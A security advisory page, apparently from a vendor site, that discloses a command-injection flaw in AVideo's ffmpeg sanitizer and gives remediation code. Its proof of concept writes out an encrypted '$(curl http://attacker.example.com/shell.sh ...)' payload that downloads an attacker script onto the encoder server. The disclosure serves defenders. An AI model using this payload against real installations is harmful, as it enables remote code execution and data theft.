Summary
The sanitizeFFmpegCommand() function in plugin/API/standAlone/functions.php is designed to prevent OS command injection in ffmpeg commands by stripping dangerous shell metacharacters (&&, ;, |, `, <, >). However, it fails to strip $() (bash command substitution syntax). Since the sanitized command is executed inside a double-quoted sh -c context in execAsync(), an attacker who can craft a valid encrypted payload can achieve arbitrary command execution on the standalone encoder server.
Details
Vulnerable sanitization function (plugin/API/standAlone/functions.php:59-82):
function sanitizeFFmpegCommand($command)
{
$allowedPrefixes = ['ffmpeg', '/usr/bin/ffmpeg', '/bin/ffmpeg'];
// Remove dangerous characters
$command = str_replace('&&', '', $command);
$command = preg_replace('/\s*&?>.*(?:2>&1)?/', '', $command);
$command = preg_replace('/[;|`<>]/', '', $command); // Missing: $ ( ) \n
// Ensure it starts with an allowed prefix
foreach ($allowedPrefixes as $prefix) {
if (strpos(trim($command), $prefix) === 0) {
return $command;
}
}
return '';
}
The character class [;|<>]on line 70 does not include$, (, ), or \n. This means $(...)` command substitution passes through completely unmodified.
Execution sink (objects/functionsExec.php:656-658):
$commandWithKeyword = "nohup sh -c \"$command & echo \\$! > /tmp/$keyword.pid\" > /dev/null 2>&1 &";
The addcslashes($command, '"') call at line 639 only escapes double-quote characters. The $() construct is preserved intact and interpreted by sh as command substitution within the double-quoted string.
Execution flow:
- Attacker sends
codeToExecEncryptedparameter toplugin/API/standAlone/ffmpeg.json.php - Standalone encoder calls main server's unauthenticated
decryptStringAPI to decrypt - Decrypted
ffmpegCommandpasses throughsanitizeFFmpegCommand(),$()is NOT stripped - Command passes prefix check (starts with
ffmpeg) execAsync()wraps it insh -c "...",$()is evaluated as command substitution
Auth barrier analysis:
- Requires a valid AES-256-CBC encrypted JSON payload with a timestamp within 30 seconds
- Key is
sha256(saltV2)on the main server;saltV2is generated byrandom_bytes(16), cryptographically strong - IV is
substr(sha256(systemRootPath), 0, 16), predictable but insufficient alone - On legacy installations without
saltV2, falls back to$global['salt']which may be weaker - The
decryptStringAPI endpoint (API.php:5963) is unauthenticated, enabling probing but not payload crafting
PoC
Assuming the attacker has obtained the encryption key (e.g., from a leaked configuration file, a legacy installation with a weak salt, or via a separate vulnerability):
# Step 1: Craft the malicious ffmpeg command
# $() passes sanitization; curl -o avoids needing > which would be stripped
MALICIOUS_CMD='ffmpeg $(curl http://attacker.example.com/shell.sh -o /tmp/s.sh) -i /dev/null /tmp/out.mp4'
# Step 2: Build the JSON payload
PAYLOAD="{\"ffmpegCommand\":\"$MALICIOUS_CMD\",\"keyword\":\"test\",\"time\":$(date +%s)}"
# Step 3: Encrypt the payload (requires knowledge of salt and systemRootPath)
# KEY = sha256(saltV2)
# IV = substr(sha256(systemRootPath), 0, 16)
ENCRYPTED=$(php -r "
\$salt = 'KNOWN_SALTV2';
\$iv_source = '/var/www/html/AVideo/';
\$key = hash('sha256', \$salt);
\$iv = substr(hash('sha256', \$iv_source), 0, 16);
echo base64_encode(openssl_encrypt('$PAYLOAD', 'AES-256-CBC', \$key, 0, \$iv));
")
# Step 4: Send to standalone encoder
curl "http://standalone-encoder.example.com/plugin/API/standAlone/ffmpeg.json.php?codeToExecEncrypted=$(python3 -c 'import urllib.parse; print(urllib.parse.quote(\"'$ENCRYPTED'\"))')"
# Result: The standalone encoder executes:
# sh -c "ffmpeg $(curl http://attacker.example.com/shell.sh -o /tmp/s.sh) -i /dev/null /tmp/out.mp4 ..."
# The $(curl ...) is evaluated BEFORE ffmpeg runs, downloading the attacker's script
Sanitization trace for the payload:
str_replace('&&', '', ...)→ no&&present, passespreg_replace('/\s*&?>.*(?:2>&1)?/', '', ...)→ no>outside$(), passespreg_replace('/[;|<>]/', '', ...)→ no;|<>present, passes- Prefix check → starts with
ffmpeg, passes addcslashes($command, '"')→ no"in payload,$()untouched
Impact
- Remote Code Execution: Full arbitrary command execution on the standalone encoder server with the privileges of the web server process
- Lateral Movement: Standalone encoders typically have network access to the main AVideo server, enabling further attacks
- Data Exfiltration: Access to all video files, configuration, and credentials stored on the encoder
- Service Disruption: Attacker can terminate encoding processes or consume system resources
The attack complexity is High due to the encryption key requirement, but the impact is Critical once the barrier is bypassed. Legacy installations without saltV2 are at significantly higher risk.
Untrusted input reaches a shell command, allowing arbitrary commands to run on the host. Typical impact: code execution in the application's environment.
CVE-2026-33482 has a CVSS score of 8.1 (High). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. No fixed version is listed yet, so configuration controls and monitoring matter more in the interim.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
Remediation advice
Replace the denylist-based sanitization with proper argument escaping:
function sanitizeFFmpegCommand($command)
{
$allowedPrefixes = ['ffmpeg', '/usr/bin/ffmpeg', '/bin/ffmpeg'];
// Verify it starts with an allowed prefix
$trimmed = trim($command);
$validPrefix = false;
foreach ($allowedPrefixes as $prefix) {
if (strpos($trimmed, $prefix) === 0) {
$validPrefix = true;
break;
}
}
if (!$validPrefix) {
_error_log("Sanitization failed: Command does not start with an allowed prefix");
return '';
}
// Strip ALL shell metacharacters, including command substitution
// This covers: ; | ` < > $ ( ) { } \n \r
$command = preg_replace('/[;|`<>$(){}\\\\]/', '', $command);
$command = str_replace('&&', '', $command);
$command = preg_replace('/[\n\r]/', '', $command);
$command = preg_replace('/\s*&?>.*(?:2>&1)?/', '', $command);
_error_log("Command sanitized successfully");
return $command;
}
Better long-term fix: Instead of sanitizing a complete shell command string, parse the ffmpeg arguments and use escapeshellarg() on each individual argument before reassembling the command. This eliminates the need for a denylist entirely.
Frequently Asked Questions
- What is CVE-2026-33482? CVE-2026-33482 is a high-severity OS command injection vulnerability in wwbn/avideo (composer), affecting versions <= 26.0. No fixed version is listed yet. Untrusted input reaches a shell command, allowing arbitrary commands to run on the host.
- How severe is CVE-2026-33482? CVE-2026-33482 has a CVSS score of 8.1 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
- Which versions of wwbn/avideo are affected by CVE-2026-33482? wwbn/avideo (composer) versions <= 26.0 is affected.
- Is there a fix for CVE-2026-33482? No fixed version is listed for CVE-2026-33482 yet. Monitor the advisory for updates and apply mitigations in the interim.
- Is CVE-2026-33482 exploitable, and should I be worried? Whether CVE-2026-33482 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether CVE-2026-33482 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix CVE-2026-33482? No fixed version is listed yet. In the interim: Avoid passing untrusted input to shell commands. Use parameterized APIs or libraries that do not invoke a shell.